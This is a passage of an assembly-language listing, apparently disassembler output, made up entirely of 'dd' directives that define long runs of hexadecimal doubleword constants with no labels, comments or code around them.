		dd 32EAC4h, 33F77E46h, 0F8CFFD31h, 41B88700h, 9101A2CEh
		dd 0F870FFA7h, 67E41D1Bh, 6634003Dh, 0BBB2DF0Ah, 0D2DBB107h
		dd 0B443AD71h, 5946C90Dh, 7AC97180h, 443034C1h,	0AB69C21Dh
		dd 9C023B16h, 61F37228h, 9A0C7B6Ch, 10211D89h, 1314AC48h
		dd 240B153h, 4D5D32ACh,	2993DD02h, 40526C85h, 0DFA747C0h
		dd 2F00D95Eh, 0B35A3FAEh, 18DA4381h, 61675199h,	93E23D7Ch
		dd 87004B78h, 760D5026h, 177B0FF6h, 34302B40h, 1C40C204h
		dd 920DB0C0h, 24204C84h, 2E9E0E88h, 0AA561400h,	0E6B612Fh
		dd 429BF639h, 7F00FEBCh, 0FC9C7391h, 42EF1790h,	34C282A8h
		dd 79044851h, 28CC55BCh, 3390A183h, 0FA8B880Ch,	7960C2FEh
		dd 406D0A78h, 484342D8h, 0AC895204h, 54B860h, 0CEA0A825h
		dd 8F6C8B3Dh, 8368317Ch, 0B300DE10h, 3A3099B2h,	0B1560E17h
		dd 0B74BA45Eh, 23A83D02h, 0B5BE860h, 24BAF925h,	0A62253F8h
		dd 18C42F20h, 8F680083h, 97FBB83Dh, 0DD00B0A3h,	87AD5304h
		dd 27CEB561h, 4C246B9Ch, 0FD6A2030h, 4ED73090h,	8EE9ECC0h
		dd 76E0E49Ch, 0B9B3630h, 18AADAB1h, 0D3BFCF00h,	4F69E84h
		dd 70C8D102h, 0E6344F2Eh, 47502CA8h, 515D1188h,	0AC2FDE30h
		dd 1FF2C94Ch, 8088E493h, 9BD61F77h, 68F2C5DEh, 858730C8h
		dd 477E1C9h, 5FEDDD24h,	30EAEB1Fh, 0B5F3F045h, 7084F8A4h
		dd 986C6F75h, 464CD8Bh,	0EE8C6850h, 554FAD22h, 14102CB7h
		dd 49DD7389h, 3510F496h, 0CC809D09h, 2E66086h, 452A0508h
		dd 8241C184h, 848714BCh, 31060658h, 61E6B830h, 5C88DCFFh
		dd 9E09E676h, 3C01B470h, 1214DBD9h, 2CC5A2h, 0C72DFFCFh
		dd 99038134h, 7B9036D8h, 8019C005h, 30DA8192h, 0EE409F44h
		dd 73472268h, 78599201h, 0BC9CD513h, 2BD4DDD9h,	0C0B00357h
		dd 74879E8Eh, 7C05E870h, 0D958BB48h, 658064B2h,	0DE8FB4FCh
		dd 0C3619DA0h, 4B3A80Fh, 0FD2E12h, 0B74A6D60h, 94685898h
		dd 0B1A27502h, 7CC4F194h, 9276F525h, 80E46620h,	44A8D780h
		dd 0FA8B7C7Bh, 0F8F064D2h, 82609C6Fh, 6BB9BB89h, 5C14ECA1h
		dd 4557F4C7h, 93CD700h,	6FEC42Ah, 0C23D019Bh, 0DB4D226Eh
		dd 0D198E319h, 0B7E8230h, 0AF165E75h, 1703BC8Fh, 98CD631Dh
		dd 48A1B42h, 5D9522EAh,	1ECCC2B9h, 8275A8C0h, 0A6421490h
		dd 582EF421h, 0B131C17h, 93510848h, 0D92CD0B8h,	451C5CDAh
		dd 0E280C6C4h, 90F7A880h, 0D3E00D98h, 0D878145Ah, 2E01D59Bh
		dd 0E8A27C57h, 10F35550h, 246D23F0h, 0DF63ACC9h, 3069000Ch
		dd 43E33A92h, 340FFD55h, 0A09EDD9Fh, 6233E744h,	0CEB409EEh
		dd 4916D70h, 14998784h,	0A029FF59h, 0E9CE3B8Ch,	6D57436h
		dd 73A20AE6h, 0EA45C891h, 7B8D38E4h, 646A00C1h,	44F2BCC8h
		dd 7A099A3Ah, 2099724Ah, 53CCAC00h, 0A178DC3Dh,	472C8691h
		dd 27E64094h, 47E1345h,	0DD908900h, 2975E892h, 764E3ABEh
		dd 19AAD33Dh, 7A7C1494h, 0EE003426h, 605E1E6Eh,	8D00103Ch
		dd 9F952AA2h, 0CD5A50h,	897738E3h, 0B058C601h, 0F4BA3603h
		dd 0D4FD6094h, 90B384C7h, 5ED1C055h, 3BE3005Ch,	3C19816Eh
		dd 0DB7DBC44h, 0A600A8FEh, 11715A07h, 26BEC110h, 173E6603h
		dd 66421D7h, 48C83D73h,	7CA44914h, 0CD7D123Fh, 8275C8E4h
		dd 5105DF6Ah, 6E4034E0h
		dd 3A6D8000h, 7B850A2h,	29A8F959h, 6E410C40h, 0FF598C6Ch
		dd 28F130Fh, 0F201F317h, 0F555EB4Dh, 79F2F7D0h,	1467073Ch
		dd 40CAD6E8h, 9AB8D8A0h, 2103A21Eh, 30406597h, 7C5B822Bh
		dd 935512D2h, 47F4491Ch, 47D54869h, 5D37B0ADh, 2600BFAFh
		dd 0F3D63C66h, 0B969D9h, 0CE3F33C1h, 8704FBDAh,	90986098h
		dd 0B702800h, 0E0B69244h, 0FC7A50B5h, 67448479h, 33510072h
		dd 0A6EE0745h, 0E01F8F5Fh, 8D008B75h, 0FD74FE57h, 0F492009Bh
		dd 591B144Fh, 0C878CF31h, 11805A49h, 79000AE0h,	0C29E41D9h
		dd 0A0036533h, 4A5C99DDh, 0CD08F018h, 236E023Fh, 9A1E4D8Fh
		dd 4B60A2E0h, 0EE4ECC01h, 616AD770h, 7B6E118Ah,	3E730F14h
		dd 0D120AC0Eh, 927CFE5Ah, 35562000h, 7402EFD4h,	6419C2CEh
		dd 7859E0C9h, 88000811h, 2F492883h, 6B075936h, 51A8F0C1h
		dd 27915E50h, 1BC60014h, 4E522048h, 4FE82193h, 7460D70Eh
		dd 678A6088h, 0B5FE387h, 9555977Dh, 0C54458B0h,	22151F20h
		dd 78A87259h, 0C7135A35h, 0C407D0B3h, 0B87EC962h, 26753BA1h
		dd 82A081DFh, 0D75230E8h, 0E62D1560h, 8955A213h, 9C705C53h
		dd 733B5770h, 83CBC15h,	0B1405D0Bh, 5AA4AACEh, 3008594Ch
		dd 0B24C570Bh, 58D30C01h, 0B31E280h, 0E8E8F519h, 0D6F4A040h
		dd 9014A207h, 18134Ch, 0A81D3C17h, 0FDD1AAB9h, 0B2F9600h
		dd 3E08D2B2h, 0B8492D97h, 31D04C20h, 0D300F2E9h, 0C1DD6278h
		dd 48176B74h, 3E004C51h, 59B7DE03h, 68FB7D43h, 50352850h
		dd 0E8660624h, 8C80706Fh, 73BC3F9Bh, 711EF20Ch,	440AB0CFh
		dd 7467060Eh, 0B7F1B481h, 40947B13h, 1F226854h,	0D8B6F400h
		dd 74660E15h, 0F069E61Ah, 20B00093h, 2BF7D43Bh,	7B3CA9A0h
		dd 25D680D3h, 27668861h, 84F0C1h, 0A18F9AD9h, 0EDA5EABh
		dd 0B535280Fh, 888AA39Eh, 229006Eh, 0CB3D14E7h,	0A0005674h
		dd 8063823Ah, 3BA86ECh,	70185048h, 31186DA1h, 0D608174Fh
		dd 34B30014h, 72E78722h, 0D23D7EA6h, 0A7F38010h, 441131D9h
		dd 60F10393h, 235629C3h, 1F6D3900h, 0E73B84ABh,	0A0811826h
		dd 0A7A9C1C4h, 6D3F9812h, 1B16EE03h, 0C11806CDh, 41155080h
		dd 9931800h, 8DEDBC81h,	734906D1h, 21125053h, 79DC01Fh
		dd 30CC803Dh, 0F4B8BD31h, 1F4E00B2h, 0F5B0EEC1h, 300A4E0h
		dd 4D2ED31Ah, 6E32691h,	0EE29B760h, 1014491Dh, 1F401E19h
		dd 374595B8h, 39828283h, 6E688157h, 20F2FBF1h, 7A9606B6h
		dd 0BF38D767h, 30491D60h, 777E3532h, 0DCE180E9h, 0DB00B490h
		dd 0C8AB1658h, 499F6Bh,	1D1AA811h, 63C55A74h, 3B7AF1Fh
		dd 1BE38037h, 8791140Ah, 8B80F46Ch, 0A258A978h,	0F4F3600h
		dd 56A1359h, 611000A7h,	8985A5FBh, 0FC639C66h, 1C439681h
		dd 12DF49h, 5C697122h, 0CD03F304h, 5D1D9473h, 3D1A80A7h
		dd 29C10618h, 40C09762h, 6F960518h, 0B3FBE1h, 565CC96Bh
		dd 44078ACAh, 0A1473Bh,	0D55554DDh, 5B095C8h, 9AA9A67Fh
		dd 18CB80AEh, 3605C4D0h, 1E4FBDA8h, 0B5D1A443h,	0C5EA98FAh
		dd 6990164h, 34BA6C6h, 19CEC4D7h, 4F6D58h, 0EF1C9C9Ah
		dd 9E8F172h, 976E6FC3h,	0B8609380h, 47007057h, 0BE17C8B9h
		dd 13BC530h, 0CC4AE3A8h, 0F4E44D6Bh, 0C1DF7C05h, 7336F01h
		dd 9DD49054h, 0A98800B3h, 0FCB6B98Fh, 497A303Dh, 9F7402B7h
		dd 9B444A2h, 5E061191h,	0BF224C02h, 0D3F56D00h,	0C1CA2465h
		dd 0BD980004h, 914CDA7Fh, 0D500B8A4h, 5496A2Ah,	1EC4CEF0h
		dd 0C00862FDh, 8586FFF5h, 18245522h, 3F8CA0ADh,	24293944h
		dd 474C2401h, 2D814818h, 1B221196h, 8F681457h, 5D06B205h
		dd 2241126h, 8741A896h,	0C800276Bh, 0ED0176DEh,	9CA0044Eh
		dd 0D0C7625Fh, 0A19F61h, 0A21841E4h, 0AA4E5434h, 7AD5D90Ch
		dd 598198h, 36B27846h, 0EFEC0410h, 0F2D5D314h, 114F1980h
		dd 96D4F179h, 81BC0052h, 3B17CBE0h, 0DC12C70Dh,	0BC42B88Ch
		dd 201353D8h, 0EEAE0866h, 0B3EF9205h, 548484CEh, 913D8F00h
		dd 399C027Ah, 559565E0h, 9700C821h, 0C6F55F2Eh,	0CA05A3C8h
		dd 9603AC94h, 0B4C0A024h, 512854h, 0E73C9AABh, 87C45581h
		dd 886C7D4Ch, 1D7B801Ch, 7A0A0135h, 0FAE90912h,	21EF7C00h
		dd 0C07398A5h, 4887D731h, 222453D9h, 0E06100BEh, 2830BABDh
		dd 0C01A7410h, 0C0138081h, 3C92A775h, 61B72013h, 95D3804h
		dd 8CB06A49h, 58207ADFh, 7B9630C6h, 43E92839h, 0DAA8791Eh
		dd 6100D0E9h, 0ED62EE5Bh, 9BBC3A9Fh, 7B7713h, 18A58054h
		dd 92018D73h, 2CF40DA9h, 0F54063F1h, 5F89E2Ah, 0B1493BB7h
		dd 0C108499Ah, 96A38000h, 615CE471h, 23C3A98h, 3C45AA2h
		dd 404439h, 0AB43739Fh,	7BE62F3Eh, 0A0824400h, 67D91D7Fh
		dd 0C0601FB1h, 60E811h,	0B395C980h, 4D74587Fh, 220A2A00h
		dd 332CA23Eh, 140D728Fh, 83A3955h, 145C5714h, 4EA0610Eh
		dd 76138EC0h, 0E709BAA7h, 2246DBBh, 40C59E20h, 60B90550h
		dd 0F95F716Eh, 48004318h, 0D1E5FD4Bh, 0E233742h, 0FA608DA6h
		dd 0E903C0FEh, 0BACA1779h, 24D92D60h, 1591805h,	0DFFF5841h
		dd 2327C54Dh, 48471D28h, 0C9C87940h, 76DDD41Ah,	0B9F900AAh
		dd 0B12597B7h, 0C0A07B39h, 4300D5DFh, 0D6C318EAh, 2603BE1Bh
		dd 14435C0h, 0A2837C21h, 0D16AD104h, 0C6AC50B9h, 8278E7CDh
		dd 6F750516h, 36173004h, 84104F0Bh, 0C4006514h,	6DA93C3h
		dd 0EF1A37F9h, 4CD99ED8h, 0D448DC1Fh, 0A265F3C0h, 0EF005C61h
		dd 167D525Eh, 14E0EBFh,	3663C9E5h, 8082A2CFh, 1D6C9A58h
		dd 611A114Ah, 0EB29F128h, 2006247h, 0F052095Eh,	838C44C2h
		dd 71A698ECh, 0F5970AB8h, 26803F05h, 0C36AC0FCh, 2FB0D82Fh
		dd 7A43B59h, 59B34B80h,	428DCF41h, 1CC48189h, 530BC818h
		dd 0EE32C200h, 0A66A806Fh, 0BBD706DAh, 0A00F36FEh, 8374F603h
		dd 0A488606Bh, 46F7D090h, 3EEE00FAh, 0ACA22D8Bh, 5D0060E1h
		dd 0A3E7834Dh, 3B347441h, 30EC959h, 1C00878Eh, 0E4233BFBh
		dd 0FDDE2605h, 0A00A58EFh, 1605D4F6h, 0A84675F0h, 698187h
		dd 0F97D9830h, 0CD8B5CCh, 86AC5300h, 0EFE04351h, 4FDD2EC3h
		dd 0A7810530h, 8E208888h, 9C782218h, 0DE3511h, 6EF13087h
		dd 2F7E754Eh, 63E41A00h, 70062C32h, 1CDD4DA7h, 404C0703h
		dd 318066D1h, 431383A6h, 4C203C39h, 9021D5DEh, 0E02CA8C4h
		dd 0C37F0C6Dh, 0B6D81228h, 64EA800h, 373E1ED3h,	0DC045C7Ah
		dd 59DB702h, 0CC80825Fh, 1CA38120h, 0ADA9A1C0h,	0B87B0AE8h
		dd 757830CCh, 811F1019h, 3B51BE00h, 5AAE76F6h, 2904246Ch
		dd 8DE20860h, 44001822h, 0A4565D80h, 4D31F8h, 0D87EC2ACh
		dd 11971651h, 0B0B5232Ah, 9E12D9F4h, 64021015h,	0DC9F70h
		dd 221CE320h, 4C8754A2h, 3E80C81Dh, 33622DE7h, 9CB85073h
		dd 4A1CA0A0h, 0E11B01FCh, 0A71D9BBBh, 6C40A67Ah, 0BC5E5012h
		dd 32A97458h, 4748000Ch, 42AFF635h, 9C009E6Bh, 0B01CEB17h
		dd 1CEFE67h, 0A85226B5h, 72D8A348h, 0E09F0C28h,	0F6989121h
		dd 9BAA2E1Dh, 0A5B60558h, 0F72B8083h, 0F4624252h, 0E0CBD699h
		dd 59BA6F4h, 0C545A7DFh, 65CC01Bh, 0BC003A1Ch, 0D767FFCFh
		dd 9F7752h, 507BCBD8h, 0A90A3C5h, 5BC08F00h, 0AAC74EC8h
		dd 0A7C4004Ah, 0ECD06E14h, 0E200A303h, 7549A8A2h, 3CE06797h
		dd 130021DFh, 5487775Ch, 0F1006895h, 911BD0A2h,	0B1988192h
		dd 0AD7009F0h, 60B63C11h, 0E9C175A8h, 0FD59C01Bh, 732BF0CBh
		dd 7E6C00CDh, 101792B5h
		dd 81041EB8h, 0DBF35285h, 4A75D741h, 0E5C2988h,	0E25191h
		dd 19A1A3B1h, 36140ED2h, 8F62CC55h, 0D4823920h,	0D7002177h
		dd 0C0AE7BB6h, 2FA4399h, 7C13C795h, 4E006291h, 0DFC9CED8h
		dd 7BFD005Fh, 59950C09h, 5A24F320h, 16044488h, 30141F3Fh
		dd 799F2D04h, 50C4110Ah, 3917A1CCh, 0C9003E29h,	0B72D494Bh
		dd 81803CF8h, 20B87E17h, 0A18E17E4h, 49C5DB24h,	9D440100h
		dd 2C5847h, 92CCAE81h, 70C0FEB7h, 29A4D755h, 9C8113B8h
		dd 8B2F421h, 8230CEACh,	6687A519h, 0E5B5E120h, 0A7390F44h
		dd 0EAA0C31Bh, 4CC29E37h, 0D606B102h, 2A213E10h, 9221184h
		dd 10A7736Dh, 3E60DE7Ch, 7C14BB0Dh, 6A811476h, 0A667AD73h
		dd 23602C71h, 0EA669743h, 8F46005Fh, 0DA6F872Dh, 5400198Eh
		dd 0A7A91836h, 9850F6E8h, 20509A08h, 812534F3h,	8E94109Ah
		dd 0AB9400DEh, 0A531DA7Fh, 622E5DB7h, 0C117CC4h, 31A97A18h
		dd 4900C0F3h, 63BA8B13h, 17389Fh, 2B8FBE1Eh, 0D941FEC7h
		dd 7F9B9714h, 3E0701E8h, 62D1A7E0h, 96FCE0D6h, 2EF0939h
		dd 7890ABC0h, 69DE194Fh, 0C83B1E40h, 16A2B0FAh,	327459CFh
		dd 0C0C68178h, 8368AD67h, 70780C88h, 51002319h,	0E04D9C15h
		dd 0C2B345h, 0F59BB9A0h, 1A0C1E41h, 6DA9FB0Ah, 0F3403C91h
		dd 3491F8Dh, 0D5C94E70h, 0EBC2AD55h, 77D9064h, 109169F2h
		dd 97C0A308h, 0B49C20B9h, 0B113E175h, 74904F53h, 73F143h
		dd 1A4016EFh, 2BC60F2Fh, 444AD30Ah, 5F008075h, 64C84FA9h
		dd 0A6EE0980h, 1848CD1Ch, 0CC1F7D58h, 0AC0265F7h, 0C2AEEE7Fh
		dd 0A7B84960h, 24A0F838h, 0D000552h, 3F7A13B3h,	254AFB7h
		dd 9CB9DB85h, 0A064A366h, 4C299624h, 0CFC3B581h, 7CC48465h
		dd 77800D5h, 0E8D726DCh, 0AB141F6Eh, 0CD40E70h,	9862B74Ah
		dd 1E60050h, 6356EFB1h,	6F0103B3h, 4FF56E97h, 0A3C55881h
		dd 0F683ECh, 6A55A07Eh,	6E92F457h, 54DFE602h, 0C2863E1Ch
		dd 0AC72619Dh, 39D51130h, 568906C4h, 0C4C87BB7h, 0DA000B27h
		dd 71FA15C8h, 0F4A4F74Ah, 3A700EF4h, 49A24899h,	50E069D9h
		dd 9D5C6698h, 0C7607D40h, 32AD4341h, 0F2480003h, 9E4F7E5h
		dd 390040D9h, 0B10541E1h, 7997BDh, 13DE9FA2h, 0A35C5436h
		dd 0B00FAFECh, 81A04EEFh, 0FB6596A9h, 0E670BFCh, 0D8BE10ECh
		dd 0C4318EA0h, 8CA1C666h, 429E609Fh, 5904B176h,	0A5A2F31Eh
		dd 0BE68488h, 56011429h, 4BE96881h, 0C31CC403h,	15CCF449h
		dd 1EE40D4Fh, 0CCC0F3A4h, 0BAAC9848h, 5AD4E171h, 0A7DB00F5h
		dd 0CD99A8C0h, 4300745Ch, 70ED89BDh, 34E6757h, 7D0AA9A1h
		dd 100056A6h, 88414D23h, 16589750h, 0FF9C1475h,	0AFB00C12h
		dd 0BA7700ECh, 0D09C11Eh, 250B3054h, 183D7C0h, 0DDCFF65Ah
		dd 551B3C8h, 5AF2E18Bh,	0D5E3C0FAh, 9C605BCBh, 0A4075458h
		dd 21700740h, 91D6EF4Dh, 0F1DD7E52h, 8078B84Fh,	7C3581D0h
		dd 3063A0BCh, 9C18DB03h, 0E3307E30h, 6EEFA19Eh,	16A90374h
		dd 0A5C057CAh, 2FD8CC98h, 96B6101Eh, 20D4CFCFh,	0A68A5F83h
		dd 0E0EC0019h, 0A4202D1Bh, 811C06AEh, 4718634Ch, 61097F61h
		dd 0BEB8A956h, 9F9AF428h, 630DFCF0h, 288B9D60h,	0C2294E0h
		dd 661481F8h, 8C604131h, 0A0137D99h, 3A6E01A7h,	38C58ABFh
		dd 0C84AC059h, 0B4D4F803h, 0EE417DB3h, 236F0031h, 22EE6AFh
		dd 6C00E7AEh, 0A4410395h, 152EEC3h, 56D79057h, 9E94C78Dh
		dd 300EC81h, 873761D0h,	15123F5Dh, 81F27C1Dh, 9E0B7F9Fh
		dd 1FB85080h, 0FE141D11h, 22B4ECE6h, 5BFA5Eh, 0A5A7A822h
		dd 36C7406Fh, 0D505B004h, 79803DA6h, 18329437h,	7996A7FAh
		dd 0A0009DA4h, 0D2F61D93h, 14162E39h, 0C48480ABh, 0DAC6A00h
		dd 2FBCD5BAh, 8F379200h, 414927D9h, 0B77CC2h, 83B073F4h
		dd 90774B97h, 1F745AF0h, 0D0D8D400h, 0F8237C33h, 56C63FCFh
		dd 0A3457280h, 0D97F625Eh, 0A00A4ECh, 41C85D50h, 2A2EFD54h
		dd 0C064DCh, 0FFABCB7Bh, 74A84E34h, 6D823200h, 3058871Ah
		dd 6F503B84h, 80BC0867h, 0CC8CB977h, 74F0FCABh,	7F823DEh
		dd 43A30B03h, 0F07C6806h, 186BAF69h, 695DDC67h,	9E0007D4h
		dd 0F2AD5378h, 325F29DDh, 0DC494BA8h, 6000844h,	386049AAh
		dd 0CCFEEh, 78F86274h, 5BA24A92h, 2E486800h, 0CDF7AB27h
		dd 1F7C1283h, 0B8302093h, 0A70712A8h, 0C72AE025h, 0C3F6AD13h
		dd 88210267h, 0D74843D5h, 7DF48FC0h, 0F0074E70h, 5FF77B9Bh
		dd 0D0CDA113h, 1880E197h, 996BDC74h, 31ECEDEh, 9D4127A8h
		dd 6A20A796h, 315360h, 0A280BBC2h, 1BD70F6Eh, 309CDC24h
		dd 0CE7E550Eh, 0C98946Dh, 8989CD8Dh, 0A2510077h, 0F1B8CFCBh
		dd 8A772226h, 104D1700h, 1A058CECh, 2CC04CA0h, 2F618422h
		dd 0D677B926h, 312E67C0h, 0D4587DADh, 5FDC1187h, 237AB180h
		dd 0CDB69DDFh, 0E4E14800h, 3E7F8C3Bh, 63FDE687h, 86412963h
		dd 0A1466100h, 66B19954h, 71531D7Eh, 1D131F2Fh,	938F4329h
		dd 0F9A1735h, 9F180C5Ch, 9B086338h, 13A4204h, 59070044h
		dd 7C7BCE55h, 6306D8AAh, 3039831Ch, 2EC17EADh, 10007D36h
		dd 0BDE51A3Dh, 14C9619h, 9925FF3h, 86596AA8h, 8340EF28h
		dd 0CE70FB9h, 0D200F68h, 0BCFFA412h, 30287A01h,	20B2F888h
		dd 605B0880h, 7D3E472Ch, 428DFF00h, 1ED1AC4h, 0BE1B044Eh
		dd 80FA9E09h, 6A082F34h, 82A79A3Bh, 70B4883h, 48C08C3Ch
		dd 0A0853EA2h, 303F878h, 53AEB781h, 200C5BFCh, 712B9779h
		dd 1CDC01A8h, 81BCD040h, 841875Ah, 5C066EF6h, 9E6F0010h
		dd 912AD441h, 0D90CC031h, 4087A84Ch, 0A28C062Fh, 11274660h
		dd 39016F30h, 71B4AA3Eh, 0D4250390h, 2BD0EC08h,	4ED2C9C8h
		dd 58390728h, 946EDA18h, 58041541h, 6D039978h, 0FF1320F2h
		dd 0CE07B908h, 853802Eh, 0BD465CF7h, 0A4397D2Ah, 0FEF93B00h
		dd 0A6633EB0h, 0AD3A00DCh, 45AA0B4Bh, 4C18F892h, 0BD69AFABh
		dd 81436F80h, 46B9A684h, 2C1066Fh, 4A223D38h, 97E3421Dh
		dd 0F10E16B8h, 0A3188D03h, 55A72Bh, 7C5D7158h, 0A808C98Ch
		dd 83804900h, 57C70FF4h, 87BC14F6h, 0AF113450h,	7EBD1196h
		dd 87AD1862h, 0D7839F20h, 291EB8A6h, 80C4CF52h,	0F99A5F7Bh
		dd 0ECFCC8A1h, 57E50700h, 0CC3D25E7h, 6F2D1330h, 798B0071h
		dd 0BDFDA006h, 1B3CDD00h, 0A3F3F057h, 3E201567h, 700AA8F9h
		dd 40BC970Bh, 23D140AFh, 9879B412h, 0BA461021h,	1C4E2180h
		dd 6A4A529Eh, 0F1303D00h, 0D840822Bh, 18D90025h, 56F0F2C0h
		dd 83E7615Bh, 9FC454D9h, 0FAAA881Fh, 2EE01CB2h,	0E995059Eh
		dd 4110808Bh, 6002190h,	0B3700254h, 1577A173h, 5415205Dh
		dd 0B9AD300h, 6F25B910h, 77880754h, 3EC523Dh, 123284E4h
		dd 4C15E080h, 5A8F2E54h, 0AEB60401h, 0DE7C8D56h, 0A701E419h
		dd 0AF4DD0C4h, 0A33AC0A4h, 0D8A478E0h, 0E16FBB44h, 7485F10h
		dd 53130502h, 84E228E1h, 5040BE94h, 391AA4E8h, 79553E00h
		dd 2E641033h, 5D5F000Ah, 0B8FB439Ah, 7877E825h,	0AE060700h
		dd 77E6F7EAh, 0BA7E28C7h, 8D5702FCh, 8F5782Ch, 0B746EC40h
		dd 3FC561C7h, 2B471EC0h, 0EDE50094h, 0E99E84D8h, 0CD031307h
		dd 5ECF8374h, 204814DDh, 0ACEA40Fh, 2A0B6000h, 2D1FB8F4h
		dd 1880F0FDh, 68DBA36Fh, 4AA60069h, 23ED2D0h, 0A53A35D8h
		dd 23B3157Fh, 6B5A009Ch, 0AE2B0A92h, 0C8F4008Ah, 0F73BEA99h
		dd 3A09D305h, 10B3F8CFh, 5765AECh, 0AE781411h, 7C42054h
		dd 468836D3h, 0D9DCC4h
		dd 21C08125h, 0C20011F0h, 18222731h, 15B499h, 0A882972Bh
		dd 0AB850F95h, 21A69E0h, 0C0493EB3h, 1D4C8Dh, 918B3062h
		dd 979A7956h, 0FF005772h, 0C6ECA40h, 308D5094h,	0BCA14B61h
		dd 0C500B4E7h, 476BA7AEh, 36DCEB3h, 0D98472FBh,	85D11492h
		dd 0BDFC4321h, 393D49ABh, 0AF7960B2h, 18EEC84h,	0D0D59D52h
		dd 0F4105745h, 0D829973Ch, 8880DCA2h, 20408A36h, 9E2100E1h
		dd 0CBA60ADh, 31FE3DFFh, 3E3F8B47h, 61305C20h, 0C99A794Dh
		dd 9CF30099h, 23D83F52h, 10006840h, 777A22EFh, 3ABCA46Bh
		dd 94A2DB1Ch, 5761E818h, 0A34E341h, 47171090h, 58D8004Ch
		dd 6379C024h, 0E9447200h, 7F4F1441h, 1593000Dh,	0A2D2D9E1h
		dd 0B2326ABDh, 20525025h, 33C1B6D5h, 0CF493E00h, 60F38B03h
		dd 0D73A0062h, 17DAD9DFh, 0E4E6CCFEh, 277DBC13h, 0C9A6D440h
		dd 457F006h, 0D707DDE3h, 30C094C7h, 826AAD98h, 18A73Bh
		dd 0ED0C5E5Dh, 3FF13B28h, 0B0F2762Eh, 0FA6E0324h, 86A69281h
		dd 954702B8h, 5FAB88h, 76D126BEh, 0FC9CACEBh, 0B43BD206h
		dd 2C156B2h, 702795Ah, 0E8A234D6h, 1460F5CFh, 603061B1h
		dd 6547294Eh, 21F600D8h, 49F1814Fh, 0A51C6A35h,	0D901BB3Dh
		dd 13C7AAD0h, 268C5030h, 8934BE61h, 8800FF5Fh, 0FDFACA53h
		dd 82F3723Bh, 6F240FCh,	4C0C823Eh, 4066AAh, 0F69D2CEh
		dd 0B41BD16Ah, 1C87B4Ch, 5C9D07E8h, 0C24026Fh, 76EE000Ah
		dd 6A988504h, 0B900AC32h, 0A341D6CEh, 58078C83h, 568598D9h
		dd 0EC8091CCh, 0A48C04F9h, 25B84Eh, 55814ADAh, 0B56189D1h
		dd 7D0114F8h, 4D25CCBDh, 0CC3079ABh, 0A6F3050h,	1D485939h
		dd 3EA5A100h, 90986C0Fh, 261C0034h, 1952A8C0h, 0DE0A134Ch
		dd 449ED807h, 3CC9E802h, 1E84C447h, 6E044876h, 143B003Fh
		dd 9ADA07D8h, 201B6092h, 0E8710508h, 3E5946E1h,	0A375525h
		dd 1FD9C141h, 0DBA86017h, 7700F090h, 0D7A2FD3Ch, 4E770E4h
		dd 0A211B34h, 0C44CD483h, 7ECCC0E6h, 31C05133h,	9E6D99B0h
		dd 85958C4h, 0D7CBCE0Ah, 0F9051A98h, 23D0C005h,	6E557A8h
		dd 800256C8h, 76E8CF5Ch, 28602C41h, 94484C6h, 0A9AB0FC7h
		dd 2DE0313Eh, 0D3DD1B50h, 569BD000h, 20150C76h,	7F98CCD6h
		dd 0A5584DC9h, 0DB80992Ch, 76AE20D2h, 2005BDB0h, 32B2D906h
		dd 0FF56984Fh, 70A18C2Ah, 3261C16Dh, 8D007F5Ch,	0F5EA6FA5h
		dd 7483BF3Eh, 0AAF70F1Bh, 5E013453h, 0E0316E7Eh, 6B201420h
		dd 0D0D80059h, 0AC83F676h, 0B63405CEh, 0BC80A15Dh, 0C04861EEh
		dd 99F20F61h, 65E0FEFBh, 0F4CF6D00h, 4E254643h,	92470370h
		dd 0D5AA88D6h, 0B329D3D0h, 87B1E37h, 70C0D88Fh,	8FEA3BC9h
		dd 92A12h, 77C4621Eh, 0A376B1E4h, 95570C07h, 0CFA0F512h
		dd 7BE17120h, 0EDCE84Fh, 0E0FB11CCh, 0D6C31898h, 0CC8004E9h
		dd 1D6CE702h, 409B19F2h, 4166FD84h, 0E600141Ah,	0C1F1FB2Ch
		dd 607FBF44h, 0D3DC5964h, 3B002BA1h, 63A8CEFCh,	6019C98Dh
		dd 0A5C61CCh, 37001AEAh, 721739C7h, 70F10F13h, 67550368h
		dd 0FA1DB05Dh, 90C1E8F8h, 59BDC430h, 0E45E0703h, 0F076B2h
		dd 5325E379h, 20CD8A22h, 0A10B1A00h, 0AB07693Fh, 0B53B18B8h
		dd 621EE113h, 60577E00h, 64031735h, 2ADF0009h, 5A0DCAABh
		dd 6ECF8F2h, 0DD186100h, 63803DD8h, 0A579C1CDh,	97E3FC12h
		dd 7BB3CC1h, 0B0469FE9h, 64198291h, 2AB4900Fh, 2D48C1A9h
		dd 1843FB12h, 701FCBE1h, 5B920089h, 1BAAF9B5h, 0A7137ECh
		dd 1F086250h, 0B512020Ah, 67001815h, 37C1019Eh,	9BD24889h
		dd 0F8BF1874h, 0F2202070h, 76E8D700h, 38041798h, 4DFC7Dh
		dd 34C65535h, 0D313A8DCh, 316C9530h, 0C6BA5F80h, 6910B5D9h
		dd 806CDD38h, 16AD552Eh, 0EA0566h, 0AA35C9FAh, 0A2EEB66Fh
		dd 156A7600h, 4F9B2510h, 6BAD00F1h, 4D2A36DDh, 0E10F4C6Fh
		dd 80F2395Dh, 0C68F8D01h, 0AA4900CDh, 1FA09303h, 1800F051h
		dd 754FA771h, 77E06374h, 2111D3Ch, 56A1F078h, 6A00B7B2h
		dd 8A1EAD36h, 0CBEA9Ah,	1B99F35Ah, 0D5C866F7h, 8D46D2Ch
		dd 0A3B00Eh, 0B1B798FFh, 551D0E57h, 0D998885Bh,	5F030C67h
		dd 0BD778439h, 694C9FD6h, 18EE0060h, 0A629FF4Eh, 5272F596h
		dd 0C37A7D0Ah, 0CD8090D3h, 491AFA54h, 437900E5h, 0E3C166C5h
		dd 3F1ACB02h, 5529BFC3h, 84F3BF87h, 0A2D0831Bh,	405462B9h
		dd 3E6B75C4h, 5704F07Eh, 64F6128Ch, 44520C88h, 0F3281115h
		dd 4B220CD9h, 0F55A0C21h, 1998C0AAh, 0D3A22C04h, 0F2833706h
		dd 0C812C03Bh, 0E65A0098h, 0BA7E4491h, 0D32887EAh, 8024749Dh
		dd 99476462h, 0F3CAC561h, 3744Ch, 779B89E9h, 0F5502156h
		dd 0A6AA2200h, 3C1D9E8Fh, 949D0066h, 0CAFB05D8h, 0FF72FDF8h
		dd 0B59F5607h, 1B36E616h, 0E74100B1h, 0CF0B48AAh, 1027CB0h
		dd 31B15C91h, 306419h, 83293F79h, 0F4CBEF72h, 0C9018503h
		dd 802D126Bh, 30AC63A1h, 0F4C1751Ch, 991CC8C3h,	980EF874h
